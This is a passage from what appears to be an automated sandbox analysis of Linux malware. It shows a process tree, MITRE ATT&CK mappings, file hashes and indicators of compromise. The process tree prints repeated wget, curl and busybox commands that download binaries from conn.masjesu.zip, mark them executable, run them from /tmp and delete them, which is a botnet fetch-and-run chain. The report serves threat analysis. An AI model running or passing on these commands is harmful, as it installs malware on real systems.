  rm tqC5BQPam0WWliODijAusr9OpfheTgPgTM
  2⤵
  PID:968
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - System Network Configuration Discovery
  PID:972
- /bin/chmod
  chmod 777 LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  ./LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
  2⤵
  PID:975
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - System Network Configuration Discovery
  PID:976
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - System Network Configuration Discovery
  PID:979
- /bin/chmod
  chmod 777 j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - File and Directory Permissions Modification
  PID:980
- /tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  ./j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  - Executes dropped EXE
  PID:981
- /bin/rm
  rm j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
  2⤵
  PID:982
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - System Network Configuration Discovery
  PID:983
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:984
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - System Network Configuration Discovery
  PID:986
- /bin/chmod
  chmod 777 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - File and Directory Permissions Modification
  PID:987
- /tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:988
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:989
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:990
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:991
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - System Network Configuration Discovery
  PID:993
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:994
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:995
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:996
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - System Network Configuration Discovery
  PID:997
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:998
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:1001
- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:1002
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:1003
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:1005
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - System Network Configuration Discovery
  PID:1007
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:1008
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:1009
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:1010

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LiiVzYOhazmna2819ZunGu4484qbQ8jNBf

Path /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	742	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	749	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	760	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	808	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	833	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	852	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	862	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	869	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	876	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	883	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	890	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	897	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	904	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	911	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	918	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	925	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	932	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	939	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	946	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	953	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	960	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	967	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	974	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	981	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	988	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	995	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	1002	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	1009	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL